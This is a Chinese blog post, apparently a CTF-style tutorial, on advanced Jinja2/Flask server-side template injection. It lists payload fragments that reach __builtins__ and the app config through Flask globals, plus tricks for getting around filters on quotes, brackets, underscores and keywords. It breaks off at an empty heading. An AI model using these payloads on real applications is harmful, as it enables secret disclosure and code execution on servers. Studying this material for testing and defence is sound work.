ssti进阶

ssti进阶

前置知识

jinja2中获取类的属性

1
2
3
4
''.__class__
''.__getattribute__('__class__') # 只适用于新式类(继承自object或者type的类
''|attr('__class__') # 使用attr过滤器,jinja2特有
''['__class__'] # jinja2特有

Jinja2对模板做了特殊处理,所以通过Obj['attr']也可以访问对象的方法和属性,而在python代码中,这样是不合法的。

1
request['args']['name']     # 获取get方式传入得到name参数

使用request对象

request对象的属性

属性和方法 说明
args MultiDict,从POST和PUT请求解析的
form MultiDict,URL 中提交的参数
values CombinedMultiDict,内容是formargs
可以使用values替代form和args
cookies 请求的cookies,类型是dict
headers 请求头
files MultiDict,带有通过POST或PUT请求上传的文件
method 请求方法,比如POST、GET
json 如果mimetypeapplication/json,这个参数将会解析JSON数据,如果不是则返回None
remote_addr 请求者的ip
host 请求头中的host字段
user_agengt 请求头中的user-agent字段
accept_charsets 请求头中的accept_charset字段
accept_encodings 请求头中的accept_encoding字段
accept_languages 请求头中的accept_language字段

jinja2全局函数

函数 说明
range
dict 生成字典
{'foo' : 'bar'}dict(foo=bar) 等价

jinja2过滤器

过滤器 说明
attr(name) 返回对象的属性
`foo
first 返回序列的第一项
last 返回序列的最后一项
join() 将序列合并后返回
replace(old,new) 返回字符串替换后的结果
reverse 反转序列
select 返回一个select_or_regect对象
sort 对列表进行排序
默认为升序
list 将值转换成列表类型
string 将值转换成字符串类型
urlencode url编码

利用flask内置变量和函数

config

1
2
config           # 获取所有配置信息
config.root_path # 查看文件所在的绝对路径

request

1
request.__init__.__globals__.__builtins__        # 利用request获取__builtins__

url_for

1
2
3
url_for.__globals__.__builtins__          # 利用url_for获取__builtins__
url_for.__globals__.current_app # 利用rul_for获取当前app
url_for.__globals__.current_app.config # 获取config变量

get_flashed_messages

1
2
3
get_flashed_messages.__globals__.__builtins__        # 利用get_flashed_messages获取__builtins__
get_flashed_messages.__globals__.current_app # 当前app
get_flashed_messages.__globals__.current_app.config # 获取当前app的config

session

1
2
session.on_update.__globals__.__builtins__     # 利用session获取__builtins__
session.__class__.clear.__globals__.__builtins__

undefined type

1
a.__init__.__globals__.__builtins__        # 利用undefined type获取__builtins__

g
flask中有一个g对象,用来存储用户信息。

1
2
3
4
g.__class__.pop.__globals__.__builtins__     # 利用g对象获取__builtins__
g.__class__.get.__globals__.__builtins__
g.__class__.setdefault.__globals__.__builtins__
g.__class__.setdefault.__globals__.__builtins__

namespace

1
namespace.__init__.__globals__.__builtins__   

lipsum

1
lipsum.__globals__.__builtins__ 

cycler

1
cycler.__init__.__globals__.__builtins__

joiner

1
joiner.__init__.__globals__.__builtins__

self

1
2
3
4
self.__init__.__globals__.__builtins__           # 使用self获取__builtins__
self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__ # 使用self获取__builtins__
self.__dict__._TemplateReference__context # 可以回显config的内容
self.__dict__._TemplateReference__context.config # 得到config

绕过过滤

关键字/特殊字符 黑名单绕过

~号运算符拼接字符串

1
2
3
{{'fl'~'ag'}}
{{'fl'~''*2~'ag'}}
{%set f='fl'%}{%set g='ag'%}{{f~g}}

特殊属性 + list,string过滤器 + pop方法获取特殊字符

1
2
3
4
5
6
7
8
9
10
{{a.__doc__}}     # Hello, The default undefined type. This undefined type can ...

# 右括号286,左括号264,单引号337,点320,空格102
{% set right = ((a.__doc__|list)[286]|string)%} # )
{% set right = ((a.__doc__|list()).pop(286)|string())%}

{{a|select()}} # <generator object select_or_reject at 0x00000269B060C448>

# 下划线24
{%set xhx = ((a|select()|string()|list())[24]|string())%}

利用过滤器

join过滤器

1
2
3
{{['fl','ag']|join()}}

{{dict(fl=a,ag=b)|join()}}

replace过滤器

1
2
{{'flxxag'|replace('x','')}}
{{'flx'|replace('x','ag')}}

reverse过滤器

1
{{'galf'|reverse}}

format过滤器

1
2
3
4
5
{{'%s%s'|format('fl','ag')}}

{{'%s%s'%('fl','ag')}}

{{'{}{}'.format('fl','ag')}}

组合使用:{{dict(g=1,a=2,l=3,f=4)|join()|reverse}}

使用%c%()语法得到任意字符

python中的%格式化字符串中的%c可将ASCII 码值转换成单个字符

1
2
3
4
5
6
'%c'%(95)  ==> _
{{'%c'%(95)}}

{%set a = g|string|urlencode|list|first%} ==> %
{%set c = dict(c=1)|join%} ==> c
{{(a~c)%(95)}} ==> '%c'%(95)

过滤[]

使用pop()代替

1
2
[1,2,3].pop(0)
{'a':1,'b':2,'c':3}.pop('a')

使用类方法__getitem__代替

1
2
[1,2,3].__getitem__(0)
{'a':1,'b':2,'c':3}.__getitem__('a')

过滤单引号

利用chr

先要找到chr函数,之后利用chr构造字符

1
{%set chr=url_for.__globals__.__builtins__.chr%}

借助request对象

1
2
3
4
5
6
{{request.args.a}}
{{request.form.a}}
{{request.values.a}}
{{request.headers.a}}
{{request.cookies.a}}
...

借助一切可以获得字符的手段

1
2
3
{{().__doc__}}      ==> Built-in immutable sequence. ....
{{().__doc__[0]}} ==> B
{{(().__doc__|list).pop(0)}} ==> B

过滤双下划线__

下标式获取属性 + request对象

1
{{''[request.args.class]}}    get传入class=__class__    ==> <class 'str'>

下标式获取属性 + 花式获取下划线

1
2
3
4
5
6
7
8
{%set a = g|string|urlencode|list|first%}{%set c = dict(c=1)|join%}
{%set x = (a~c)%(95)%} # x = _
{{''[x~x~'class'~x~x]}}

or

{%set x = ((a|select()|string()|list())[24]|string())%} # x = _
{{''[x~x~'class'~x~x]}}

过滤

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/09/15/python/ssti进阶/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog